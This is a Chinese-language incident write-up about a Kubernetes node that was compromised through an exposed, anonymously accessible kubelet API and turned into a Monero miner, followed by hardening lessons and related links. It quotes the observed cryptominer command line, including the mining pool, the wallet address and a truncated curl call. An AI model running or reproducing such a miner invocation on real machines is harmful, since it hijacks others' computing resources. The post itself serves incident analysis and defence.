芭比Q,Kubernetes 叢集被入侵,伺服器變礦機
導讀 | 網路安全是個嚴肅的問題,它總是在不經意間出現,等你反應過來卻已經遲了。希望各位讀者看完後也有所啟發,去檢查及加固自己的叢集。 |
近期遇到了一次我們自建 Kubernetes 叢集中某臺機器被入侵挖礦,後續也找到了原因,所幸只是用來挖礦…
網路安全是個嚴肅的問題,它總是在不經意間出現,等你反應過來卻已經遲了。希望各位讀者看完後也有所啟發,去檢查及加固自己的叢集。
檢查到某臺機器中出現了異常程式
./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm curl -s
簡單來講,就是我們的機器被用來挖礦了…
問題出現後,我們第一時間關閉了docker,其實應該隔離下環境, 把挖礦程式dump下來,以便後續分析。
出現了異常程式,肯定是被入侵了,我首先看的是 iptables 。果不其然,機器上的 iptables 規則是空的,意味著這臺機器在裸奔。
內部同事提出了有可能是 kubelet 被入侵的問題,檢查過其他元件後,開始檢查 kubelet 元件
最後檢查到 kubelet 日誌中有異常:
確認入侵問題,kubelet 引數設定錯誤,允許直接訪問 kubelet 的 api
發現是 kubelet 的啟動項中,該位置被註釋掉:
然後檔案中禁止匿名訪問的配置沒有讀取
由於是新增加的機器,當晚就發現了問題,整個叢集是我在管理的,我跟隨著一起排查,所以很快就找到了原因,當晚我就把其他機器中的配置項重新掃了一遍,假如它們的防火牆失效了,也會有類似的入侵情況發生,還好此次事件控制在1臺機器中。
其實該問題理論上講是可以避免的,是因為出現了多層漏洞才會被有心人掃到,我從外到內整理了一下可能改進的策略。
- 機器防火牆設定,機器防火牆是整個系統最外層,即使機器的防火牆同步失敗,也不能預設開放所有埠,而是應該全部關閉,等待管理員連線到tty終端上檢查。
- 使用機器時,假如機器不是暴露給外部使用的,公網IP可有可無的時候,儘量不要有公網IP,我們的機器才上線1天就被掃描到了漏洞,可想而知,公網上是多麼的危險
- 使用kubelet以及其他系統服務時,埠監聽方面是不是該有所考量?能不能不監聽 0.0.0.0,而是隻監聽本機的內網IP。
- 使用kubelet以及其他程式,設計或是搭建系統時, 對於匿名訪問時的許可權控制, 我們需要考慮到假如埠匿名會出現什麼問題,是否應該允許匿名訪問,如果不允許匿名訪問,那麼怎麼做一套鑑權系統?
- 系統管理員操作時,是否有一個比較規範化的流程,是不是該只使用 操作線上環境? 手動操作線上環境帶來的問題並不好排查和定位。
- 我這裡不是丟擲疑問,只是想告訴大家,考慮系統設計時,有必要考慮下安全性。
發生了入侵事件後,同事開玩笑說,還好沒其他經濟損失,要不我可能要回家了。作為叢集的管理員,只有自己最清楚問題的嚴重程度。從本質上來講,問題已經相當嚴重了。入侵者相當於擁有了機器上docker的完整控制許可權。如果讀者有讀過我關於docker系列的內容,就對許可權上了解清楚了。
因為此次事件的發生,不只是我,還有SA的同學基本都被diao了一遍,心裡還是有點難受的,希望大家能對網路安全問題有所重視,從加固防火牆開始,避免監聽不必要的埠,這兩項至少是最容易實現的。
原文來自:
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69955379/viewspace-2857533/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 公司伺服器被入侵植入挖礦軟體,如何追查?伺服器
- kubernetes與web叢集Web
- Kubernetes 叢集搭建(上)
- Kubernetes 叢集搭建(下)
- Kubernetes叢集搭建(vagrant)
- 如何排查linux伺服器被入侵Linux伺服器
- 搭建 Kubernetes 高可用叢集
- kubernetes叢集管理命令(三)
- 使用 Docker 快速搭建單機版的 Kubernetes 叢集Docker
- 在kubernetes上部署consul叢集
- 簡述Kubernetes叢集聯邦
- 在 Minecraft 中管理 Kubernetes 叢集Raft
- 在 Azure 上部署 Kubernetes 叢集
- 修復一個kubernetes叢集
- 拆除kubeadm部署的Kubernetes 叢集
- “開箱即用” 的 Kubernetes 叢集
- Kubernetes叢集日誌詳解
- Kubernetes部署叢集Mysql服務MySql
- 主機被入侵分析過程
- Kubernetes叢集部署史上最詳細(二)Prometheus監控Kubernetes叢集Prometheus
- 怎麼檢測伺服器是否被入侵伺服器
- 在 Azure 中部署 Kubernetes 容器叢集
- Ubuntu上kubeadm安裝Kubernetes叢集Ubuntu
- fluentd收集kubernetes 叢集日誌分析
- 如何在CentOS上建立Kubernetes叢集CentOS
- 基於containerd 部署 kubernetes 1.28叢集AI
- 將 .NET Aspire 部署到 Kubernetes 叢集
- kubernetes叢集證書期限修改(三)
- Python使用 Kubernetes API 訪問叢集PythonAPI
- 使用Kubeadm搭建高可用Kubernetes叢集
- ARM架構安裝Kubernetes叢集架構
- 【知識分享】伺服器叢集和伺服器叢集技術伺服器
- 解決伺服器滿CPU被當礦機問題伺服器
- Weblogic11G叢集管理伺服器控制所有被管配置Web伺服器
- Microsoft SQL伺服器被駭客入侵 頻寬被竊取ROSSQL伺服器
- 【Kubernetes學習筆記】-kubeadm 手動搭建kubernetes 叢集筆記
- 如何在零停機的情況下遷移 Kubernetes 叢集
- 一次Linux遭入侵,挖礦程式被隱藏案例分析Linux